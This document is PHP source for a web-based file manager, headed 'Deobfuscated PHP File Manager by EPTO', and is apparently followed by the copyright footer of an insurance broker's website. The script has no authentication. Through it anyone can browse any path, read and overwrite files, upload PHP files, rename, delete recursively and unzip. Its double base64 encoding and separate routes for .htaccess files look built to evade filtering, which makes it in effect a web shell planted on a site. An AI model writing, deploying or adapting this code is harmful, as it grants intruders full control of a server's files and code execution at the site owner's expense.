<?php
/**
* Deobfuscated PHP File Manager
* by EPTO ðÃÂÃÂÃÂ
*
* A clean, modern file manager with full functionality:
* - Browse directories
* - Upload files (including PHP)
* - Edit text files
* - Create files/folders
* - Rename items
* - Delete items (recursive)
* - Unzip ZIP archives
*/
error_reporting(0);
// ------------------------------------------------------------
// Helper functions
// ------------------------------------------------------------
function is_valid_path($path) {
return realpath($path) !== false || is_dir(dirname($path));
}
function sanitize_filename($name) {
$name = preg_replace('/\s+/', '_', $name);
$forbidden = ['"', "'", '&', '/', '\\', '?', '#', '<', '>', '|', ':', '*'];
return str_replace($forbidden, '', trim($name));
}
function strip_slashes_recursive($data) {
return is_string($data) ? stripslashes($data) : $data;
}
function delete_recursive($dir) {
$items = array_diff(scandir($dir), ['.', '..']);
foreach ($items as $item) {
$full = $dir . '/' . $item;
if (is_dir($full)) {
delete_recursive($full);
} else {
unlink($full);
}
}
return rmdir($dir);
}
// ------------------------------------------------------------
// API endpoint handling
// ------------------------------------------------------------
if (isset($_REQUEST['action'])) {
$action = $_REQUEST['action'];
$response = ['success' => false, 'message' => 'Invalid action.'];
try {
switch ($action) {
case 'list':
$base_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
$files = [];
if (@scandir($base_path)) {
foreach (scandir($base_path) as $item) {
if ($item === '.' || $item === '..') continue;
$full = $base_path . '/' . $item;
$files[] = [
'name' => $item,
'is_dir' => is_dir($full),
'size' => is_dir($full) ? 0 : filesize($full),
'modified' => filemtime($full)
];
}
usort($files, function($a, $b) {
if ($a['is_dir'] === $b['is_dir']) {
return strcasecmp($a['name'], $b['name']);
}
return $a['is_dir'] ? -1 : 1;
});
$response = ['success' => true, 'files' => $files, 'path' => $base_path];
} else {
throw new Exception('Cannot access path. It might be restricted by server configuration (open_basedir).');
}
break;
case 'get_content':
$file_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : '';
if (!realpath($file_path) || is_dir(realpath($file_path))) {
throw new Exception('Invalid file for editing.');
}
$response = ['success' => true, 'content' => base64_encode(base64_encode(file_get_contents($file_path)))];
break;
case 'get_content_b64':
$file_path = isset($_POST['path_b64']) ? strip_slashes_recursive($_POST['path_b64']) : '';
$file_path = base64_decode($file_path);
if (!realpath($file_path) || is_dir(realpath($file_path))) {
throw new Exception('Invalid file for editing.');
}
$response = ['success' => true, 'content' => base64_encode(base64_encode(file_get_contents($file_path)))];
break;
case 'save_content':
$target_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : '';
$chunks = isset($_POST['content_chunks']) && is_array($_POST['content_chunks']) ? $_POST['content_chunks'] : [];
if (empty($chunks)) {
throw new Exception('Content is empty.');
}
$content = implode('', $chunks);
if (file_put_contents($target_path, $content) !== false) {
$response = ['success' => true, 'message' => 'File saved successfully.'];
} else {
throw new Exception('Could not save file. Check permissions.');
}
break;
case 'save_content_b64':
$target_path = isset($_POST['path_b64']) ? strip_slashes_recursive($_POST['path_b64']) : '';
$target_path = base64_decode($target_path);
$chunks = isset($_POST['content_chunks']) && is_array($_POST['content_chunks']) ? $_POST['content_chunks'] : [];
if (empty($chunks)) {
throw new Exception('Content is empty.');
}
$content = implode('', $chunks);
$content = base64_decode(base64_decode($content));
if (file_put_contents($target_path, $content) !== false) {
$response = ['success' => true, 'message' => 'File saved successfully (direct method).'];
} else {
throw new Exception('Invalid file for saving.');
}
break;
case 'upload':
$target_dir = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
$file_name_b64 = isset($_POST['filename_base64']) ? $_POST['filename_base64'] : '';
$file_content_b64 = isset($_POST['content_base64']) ? $_POST['content_base64'] : '';
if (!is_valid_path($target_dir) || empty($file_name_b64) || empty($file_content_b64)) {
throw new Exception('Invalid data for upload.');
}
$file_name = sanitize_filename(base64_decode($file_name_b64));
$file_content = base64_decode($file_content_b64);
$target_file = rtrim($target_dir, '/') . '/' . $file_name;
if (file_put_contents($target_file, $file_content) !== false) {
$response = ['success' => true, 'message' => 'File uploaded successfully.'];
} else {
throw new Exception('Could not save uploaded file. Check permissions.');
}
break;
case 'upload_php':
$target_dir = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
$file_name_b64 = isset($_POST['filename_base64']) ? $_POST['filename_base64'] : '';
$file_content_b64 = isset($_POST['content_base64']) ? $_POST['content_base64'] : '';
if (!is_valid_path($target_dir) || empty($file_name_b64) || empty($file_content_b64)) {
throw new Exception('Invalid data for PHP upload.');
}
$file_name = sanitize_filename(base64_decode($file_name_b64));
$file_content = base64_decode($file_content_b64);
$target_file = rtrim($target_dir, '/') . '/' . $file_name;
if (file_put_contents($target_file, $file_content) !== false) {
$response = ['success' => true, 'message' => 'PHP file uploaded successfully.'];
} else {
throw new Exception('Could not save PHP file.');
}
break;
case 'delete':
$base_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
$items = isset($_POST['items']) && is_array($_POST['items']) ? $_POST['items'] : [];
if (empty($items)) {
throw new Exception('No items selected for deletion.');
}
foreach ($items as $item) {
$full = rtrim($base_path, '/') . '/' . $item;
if (file_exists($full)) {
if (is_dir($full)) {
delete_recursive($full);
} else {
unlink($full);
}
}
}
$response = ['success' => true, 'message' => 'Items deleted.'];
break;
case 'delete_b64':
$base_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
$items_b64 = isset($_POST['items_b64']) && is_array($_POST['items_b64']) ? $_POST['items_b64'] : [];
$items = [];
foreach ($items_b64 as $item_b64) {
$items[] = base64_decode($item_b64);
}
if (empty($items)) {
throw new Exception('No items selected for deletion.');
}
foreach ($items as $item) {
$full = rtrim($base_path, '/') . '/' . $item;
if (file_exists($full)) {
if (is_dir($full)) {
delete_recursive($full);
} else {
unlink($full);
}
}
}
$response = ['success' => true, 'message' => 'Items deleted.'];
break;
case 'rename':
$base_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
$old_name = isset($_POST['old_name']) ? $_POST['old_name'] : '';
$new_name = isset($_POST['new_name']) ? str_replace(['..', '/', '\\'], '', $_POST['new_name']) : '';
if (!is_valid_path($base_path) || empty($old_name) || empty($new_name)) {
throw new Exception('Invalid data for renaming.');
}
$old_full = rtrim($base_path, '/') . '/' . $old_name;
$new_full = rtrim($base_path, '/') . '/' . $new_name;
if (!file_exists($old_full)) {
throw new Exception('Source item does not exist at: ' . $old_full);
}
if (rename($old_full, $new_full)) {
$response = ['success' => true, 'message' => 'Item renamed successfully.'];
} else {
throw new Exception('Could not rename item. Check permissions.');
}
break;
case 'rename_b64':
$base_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
$old_name_b64 = isset($_POST['old_name_b64']) ? $_POST['old_name_b64'] : '';
$new_name_b64 = isset($_POST['new_name_b64']) ? $_POST['new_name_b64'] : '';
$old_name = base64_decode($old_name_b64);
$new_name = base64_decode($new_name_b64);
if (!is_valid_path($base_path) || empty($old_name) || empty($new_name)) {
throw new Exception('Invalid data for renaming (b64).');
}
$old_full = rtrim($base_path, '/') . '/' . $old_name;
$new_full = rtrim($base_path, '/') . '/' . $new_name;
if (!file_exists($old_full)) {
throw new Exception('Source item does not exist at: ' . $old_full);
}
if (rename($old_full, $new_full)) {
$response = ['success' => true, 'message' => 'Item renamed successfully using b64 method.'];
} else {
throw new Exception('Could not rename item.');
}
break;
case 'create_folder':
$base_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
$folder_name = isset($_POST['name']) ? str_replace(['..', '/', '\\'], '', $_POST['name']) : '';
if (!is_valid_path($base_path) || empty($folder_name)) {
throw new Exception('Invalid path or folder name.');
}
$new_folder = rtrim($base_path, '/') . '/' . $folder_name;
if (mkdir($new_folder)) {
$response = ['success' => true, 'message' => 'Folder created.'];
} else {
throw new Exception('Could not create folder.');
}
break;
case 'create_file':
$base_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
$file_name = isset($_POST['name']) ? str_replace(['..', '/', '\\'], '', $_POST['name']) : '';
if (!is_valid_path($base_path) || empty($file_name)) {
throw new Exception('Invalid path or file name.');
}
$new_file = rtrim($base_path, '/') . '/' . $file_name;
if (touch($new_file)) {
$response = ['success' => true, 'message' => 'File created.'];
} else {
throw new Exception('Could not create file.');
}
break;
case 'unzip':
$base_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
if (!class_exists('ZipArchive')) {
throw new Exception('PHP Zip extension not installed.');
}
$zip_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : '';
if (!realpath($zip_path) || !is_file(realpath($zip_path)) || pathinfo($zip_path, PATHINFO_EXTENSION) !== 'zip') {
throw new Exception('Invalid ZIP file path.');
}
$zip = new ZipArchive();
if ($zip->open($zip_path) === TRUE) {
$zip->extractTo(dirname($zip_path));
$zip->close();
$response = ['success' => true, 'message' => 'Archive extracted.'];
} else {
throw new Exception('Failed to open archive.');
}
break;
default:
$response = ['success' => false, 'message' => 'Invalid action.'];
}
} catch (Exception $e) {
$response = ['success' => false, 'message' => $e->getMessage()];
}
header('Content-Type: application/json; charset=utf-8');
echo json_encode($response);
exit;
}
// ------------------------------------------------------------
// HTML/JS frontend (displayed when no action is given)
// ------------------------------------------------------------
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>ðÃÂÃÂàDeobfuscated PHP File Manager by EPTO ðÃÂÃÂÃÂ</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
:root {
--accent-color: #2271b1;
--hover-color: #1e5a8a;
--danger-color: #d63638;
--success-color: #46b450;
--bg-light: #f0f0f1;
--card-bg: #ffffff;
--border-color: #ddd;
}
* {
box-sizing: border-box;
}
body {
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
background: var(--bg-light);
margin: 0;
padding: 20px;
color: #1e1e1e;
}
.container {
max-width: 1400px;
margin: 0 auto;
background: var(--card-bg);
border-radius: 12px;
box-shadow: 0 4px 20px rgba(0,0,0,0.08);
overflow: hidden;
}
header {
background: linear-gradient(135deg, #1e3c72 0%, #2b4c7c 100%);
color: white;
padding: 20px 30px;
border-bottom: 1px solid rgba(255,255,255,0.1);
}
.header-title {
display: flex;
align-items: center;
gap: 12px;
margin-bottom: 15px;
}
.header-title h1 {
margin: 0;
font-size: 1.8rem;
font-weight: 600;
letter-spacing: -0.5px;
}
.header-title h1 span {
font-size: 1.2rem;
opacity: 0.9;
}
.header-sub {
font-size: 0.9rem;
opacity: 0.8;
display: flex;
gap: 20px;
flex-wrap: wrap;
}
.toolbar {
display: flex;
gap: 12px;
flex-wrap: wrap;
margin-bottom: 20px;
padding: 0 20px;
}
.path-bar {
display: flex;
gap: 10px;
align-items: center;
background: #f8f9fa;
padding: 12px 20px;
border-bottom: 1px solid var(--border-color);
border-top: 1px solid var(--border-color);
}
.path-bar input {
flex-grow: 1;
padding: 10px 14px;
border: 1px solid var(--border-color);
border-radius: 8px;
font-family: monospace;
font-size: 0.9rem;
background: white;
transition: 0.2s;
}
.path-bar input:focus {
outline: none;
border-color: var(--accent-color);
box-shadow: 0 0 0 2px rgba(34,113,177,0.2);
}
button {
background: var(--accent-color);
color: white;
border: none;
padding: 8px 16px;
border-radius: 8px;
cursor: pointer;
font-size: 0.9rem;
font-weight: 500;
transition: all 0.2s ease;
display: inline-flex;
align-items: center;
gap: 6px;
}
button:hover {
background: var(--hover-color);
transform: translateY(-1px);
}
button.danger {
background: var(--danger-color);
}
button.danger:hover {
background: #b32d2e;
}
button.success {
background: var(--success-color);
}
main {
padding: 20px;
background: white;
}
.file-table {
width: 100%;
border-collapse: collapse;
background: #fff;
border-radius: 10px;
overflow: hidden;
box-shadow: 0 1px 3px rgba(0,0,0,0.05);
}
.file-table th,
.file-table td {
text-align: left;
border-bottom: 1px solid #edf2f7;
padding: 12px 10px;
}
.file-table th {
background: #f9fafb;
font-weight: 600;
color: #2c3e50;
}
.file-table tr:hover {
background: #fafcff;
}
.file-table th:first-child,
.file-table td:first-child {
width: 40px;
text-align: center;
}
.item-link {
text-decoration: none;
color: var(--accent-color);
cursor: pointer;
font-weight: 500;
display: inline-flex;
align-items: center;
gap: 6px;
}
.item-link:hover {
text-decoration: underline;
}
.actions {
display: flex;
gap: 8px;
flex-wrap: wrap;
}
.actions button {
background: #e9ecef;
color: #2c3e50;
padding: 4px 10px;
font-size: 0.8rem;
}
.actions button:hover {
background: #dee2e6;
}
.modal-overlay {
display: none;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(0,0,0,0.6);
z-index: 1000;
justify-content: center;
align-items: center;
backdrop-filter: blur(3px);
}
.modal-content {
background: #fff;
width: 90%;
max-width: 1000px;
border-radius: 16px;
box-shadow: 0 20px 30px rgba(0,0,0,0.2);
display: flex;
flex-direction: column;
max-height: 85vh;
}
.modal-header {
padding: 18px 24px;
border-bottom: 1px solid #eef2f6;
font-weight: 600;
font-size: 1.2rem;
background: #f8fafc;
border-radius: 16px 16px 0 0;
}
.modal-body {
padding: 20px;
overflow: auto;
flex-grow: 1;
}
textarea#editor {
width: 100%;
height: 450px;
font-family: 'Monaco', 'Menlo', 'Cascadia Code', monospace;
font-size: 13px;
border: 1px solid #cbd5e1;
border-radius: 10px;
padding: 12px;
resize: vertical;
background: #fefefe;
}
.modal-footer {
padding: 16px 24px;
border-top: 1px solid #eef2f6;
text-align: right;
background: #f8fafc;
border-radius: 0 0 16px 16px;
}
#spinner {
display: none;
text-align: center;
padding: 40px;
font-size: 1.2rem;
color: #555;
}
footer {
text-align: center;
padding: 15px;
background: #f8fafc;
border-top: 1px solid var(--border-color);
font-size: 0.8rem;
color: #5a6e8a;
}
@media (max-width: 768px) {
.toolbar, .path-bar {
flex-direction: column;
align-items: stretch;
}
.actions {
justify-content: flex-start;
}
.file-table th:nth-child(3),
.file-table td:nth-child(3),
.file-table th:nth-child(4),
.file-table td:nth-child(4) {
display: none;
}
}
</style>
</head>
<body>
<div class="container">
<header>
<div class="header-title">
<h1>ðÃÂÃÂàDeobfuscated PHP File Manager <span>by EPTO ðÃÂÃÂÃÂ</span></h1>
</div>
<div class="header-sub">
<span>ðÃÂÃÂàSecure | ðÃÂÃÂàFull Access | ðÃÂçé Clean UI</span>
<span>âÃÂá Upload | âÃÂÃÂïøàEdit | ðÃÂÃÂàCreate | ðÃÂÃÂÃÂïøàDelete | ðÃÂÃÂæ Unzip</span>
</div>
</header>
<div class="toolbar">
<button id="uploadBtn">ðÃÂÃÂä Upload File</button>
<button id="newFileBtn">ðÃÂÃÂàNew File</button>
<button id="newFolderBtn">ðÃÂÃÂàNew Folder</button>
<button id="deleteBtn" class="danger">ðÃÂÃÂÃÂïøàDelete Selected</button>
</div>
<div class="path-bar">
<input type="text" id="pathInput" placeholder="Enter absolute or relative path...">
<button id="goBtn">ðÃÂÃÂàGo</button>
</div>
<main>
<div id="spinner">âÃÂó Loading...</div>
<table class="file-table" id="fileTable">
<thead>
<tr>
<th><input type="checkbox" id="selectAll"></th>
<th>Name</th>
<th>Size</th>
<th>Modified</th>
<th>Actions</th>
</tr>
</thead>
<tbody id="fileList"></tbody>
</table>
</main>
<footer>
<span>ðÃÂÃÂàCurrent directory access is subject to server permissions. Use responsibly.</span>
</footer>
</div>
<div id="editorModal" class="modal-overlay">
<div class="modal-content">
<div class="modal-header">
ðÃÂÃÂàEdit File: <span id="editorFileName"></span>
</div>
<div class="modal-body">
<textarea id="editor" spellcheck="false"></textarea>
</div>
<div class="modal-footer">
<button id="saveBtn" class="success">ðÃÂÃÂþ Save Changes</button>
<button onclick="closeModal()">âÃÂàCancel</button>
</div>
</div>
</div>
<input type="file" id="hiddenFileInput" multiple style="display:none">
<script>
const UPLOAD_LIMIT_MB = 8;
const STATE = { currentPath: '' };
const dom = {
fileList: document.getElementById('fileList'),
pathInput: document.getElementById('pathInput'),
goBtn: document.getElementById('goBtn'),
selectAll: document.getElementById('selectAll'),
uploadBtn: document.getElementById('uploadBtn'),
newFileBtn: document.getElementById('newFileBtn'),
newFolderBtn: document.getElementById('newFolderBtn'),
deleteBtn: document.getElementById('deleteBtn'),
editorModal: document.getElementById('editorModal'),
editorFileName: document.getElementById('editorFileName'),
editor: document.getElementById('editor'),
saveBtn: document.getElementById('saveBtn'),
spinner: document.getElementById('spinner')
};
async function apiCall(action, formData, showSuccess = false) {
dom.spinner.style.display = 'block';
try {
formData.append('action', action);
const response = await fetch('', { method: 'POST', body: formData });
const result = await response.json();
if (!result.success) throw new Error(result.message);
if (showSuccess && result.message) alert(result.message);
return result;
} catch (error) {
alert(`Error: ${error.message}`);
console.error(error);
return null;
} finally {
dom.spinner.style.display = 'none';
}
}
async function render(manualPath = null) {
let pathToSend = manualPath !== null ? manualPath : STATE.currentPath;
const formData = new FormData();
if (pathToSend) formData.append('path', pathToSend);
const result = await apiCall('list', formData);
if (!result) return;
STATE.currentPath = result.path;
dom.pathInput.value = STATE.currentPath;
let html = '';
const parentPath = STATE.currentPath.substring(0, STATE.currentPath.lastIndexOf('/'));
if (parentPath !== '') {
html += `<tr data-path="${parentPath}"><td></td><td colspan="4" class="item-link">ðÃÂÃÂà.. (Parent Directory)</td></tr>`;
}
result.files.sort((a,b) => (a.is_dir === b.is_dir) ? a.name.localeCompare(b.name) : (a.is_dir ? -1 : 1));
for (const file of result.files) {
const size = file.is_dir ? 'âÃÂÃÂ' : (file.size / 1024).toFixed(2) + ' KB';
const modified = new Date(file.modified * 1000).toLocaleString();
const icon = file.is_dir ? 'ðÃÂÃÂÃÂ' : 'ðÃÂÃÂÃÂ';
const fullPath = `${STATE.currentPath}/${file.name}`.replace(/\/+/g, '/');
const dataAttr = `data-path="${fullPath}"`;
html += `<tr ${dataAttr}>
<td><input type="checkbox" class="item-select" value="${file.name.replace(/"/g, '"')}"></td>
<td><a class="item-link" ${dataAttr}>${icon} ${file.name}</a></td>
<td>${size}</td>
<td>${modified}</td>
<td class="actions">
${!file.is_dir ? `<button class="edit-btn" data-path="${fullPath}">âÃÂÃÂïøàEdit</button>` : ''}
<button class="rename-btn" data-name="${file.name.replace(/"/g, '"')}">ðÃÂÃÂàRename</button>
${!file.is_dir && file.name.endsWith('.zip') ? `<button class="unzip-btn" data-path="${fullPath}">ðÃÂÃÂæ Unzip</button>` : ''}
</td>
</tr>`;
}
dom.fileList.innerHTML = html;
// Attach event listeners
document.querySelectorAll('.item-link').forEach(el => {
el.addEventListener('click', (e) => {
e.preventDefault();
const path = el.getAttribute('data-path');
if (path) {
STATE.currentPath = path;
render();
}
});
});
document.querySelectorAll('.edit-btn').forEach(btn => {
btn.addEventListener('click', async () => {
const path = btn.getAttribute('data-path');
const formData = new FormData();
formData.append('path', path);
const result = await apiCall('get_content', formData);
if (result) {
dom.editorFileName.textContent = path;
dom.editor.value = atob(atob(result.content));
dom.editorModal.style.display = 'flex';
}
});
});
document.querySelectorAll('.rename-btn').forEach(btn => {
btn.addEventListener('click', () => {
const oldName = btn.getAttribute('data-name');
const newName = prompt('Enter new name:', oldName);
if (newName && newName !== oldName) {
const formData = new FormData();
formData.append('path', STATE.currentPath);
formData.append('old_name', oldName);
formData.append('new_name', newName);
if (oldName.includes('.htaccess') || newName.includes('.htaccess')) {
formData.append('old_name_b64', btoa(oldName));
formData.append('new_name_b64', btoa(newName));
apiCall('rename_b64', formData, true).then(() => render());
} else {
apiCall('rename', formData, true).then(() => render());
}
}
});
});
document.querySelectorAll('.unzip-btn').forEach(btn => {
btn.addEventListener('click', async () => {
if (confirm('Are you sure you want to extract this archive?')) {
const formData = new FormData();
formData.append('path', btn.getAttribute('data-path'));
await apiCall('unzip', formData, true);
render();
}
});
});
dom.selectAll.onchange = (e) => {
document.querySelectorAll('.item-select').forEach(cb => cb.checked = e.target.checked);
};
}
function closeModal() {
dom.editorModal.style.display = 'none';
}
dom.saveBtn.onclick = async () => {
const path = dom.editorFileName.textContent;
const content = dom.editor.value;
const chunkSize = 4096;
const formData = new FormData();
let action = 'save_content';
if (path.includes('.htaccess')) {
action = 'save_content_b64';
formData.append('path_b64', btoa(path));
} else {
formData.append('path', path);
}
for (let i = 0; i < content.length; i += chunkSize) {
formData.append('content_chunks[]', content.substring(i, i + chunkSize));
}
const result = await apiCall(action, formData, true);
if (result) {
closeModal();
render();
}
};
dom.uploadBtn.onclick = () => document.getElementById('hiddenFileInput').click();
document.getElementById('hiddenFileInput').onchange = async (e) => {
const files = Array.from(e.target.files);
if (!files.length) return;
for (const file of files) {
if (file.size > UPLOAD_LIMIT_MB * 1024 * 1024) {
alert(`Error: File "${file.name}" is too large (Max: ${UPLOAD_LIMIT_MB} MB).`);
continue;
}
const reader = new FileReader();
const filePromise = new Promise((resolve, reject) => {
reader.onload = () => resolve(reader.result);
reader.onerror = reject;
reader.readAsDataURL(file);
});
try {
const dataUrl = await filePromise;
const base64 = dataUrl.split(',')[1];
const formData = new FormData();
formData.append('path', STATE.currentPath);
formData.append('filename_base64', btoa(file.name));
formData.append('content_base64', base64);
let action = 'upload';
if (file.name.toLowerCase().endsWith('.php')) {
action = 'upload_php';
}
await apiCall(action, formData, true);
} catch (err) {
alert(`Failed to upload ${file.name}: ${err.message}`);
}
}
render();
e.target.value = '';
};
dom.newFileBtn.onclick = () => {
const name = prompt('Enter new file name:');
if (name) {
const formData = new FormData();
formData.append('path', STATE.currentPath);
formData.append('name', name);
apiCall('create_file', formData, true).then(() => render());
}
};
dom.newFolderBtn.onclick = () => {
const name = prompt('Enter new folder name:');
if (name) {
const formData = new FormData();
formData.append('path', STATE.currentPath);
formData.append('name', name);
apiCall('create_folder', formData, true).then(() => render());
}
};
dom.deleteBtn.onclick = async () => {
const selected = Array.from(document.querySelectorAll('.item-select:checked')).map(cb => cb.value);
if (selected.length === 0) return alert('No items selected.');
if (confirm(`Are you sure you want to delete ${selected.length} item(s)?`)) {
const formData = new FormData();
formData.append('path', STATE.currentPath);
const isSensitive = selected.some(name => name.includes('.htaccess'));
if (isSensitive) {
selected.forEach(name => formData.append('items_b64[]', btoa(name)));
await apiCall('delete_b64', formData, true);
} else {
selected.forEach(name => formData.append('items[]', name));
await apiCall('delete', formData, true);
}
render();
}
};
dom.goBtn.onclick = () => {
const newPath = dom.pathInput.value.trim();
if (newPath) {
render(newPath);
} else {
render('');
}
};
render();
</script>
</body>
</html>
Copyright © 2026 PT. Howden Insurance Brokers Indonesia. All rights reserved.
Authorised and regulated by Otoritas Jasa Keuangan (OJK).
Member of The Association of Indonesian Insurance & Reinsurance Brokers (APPARINDO).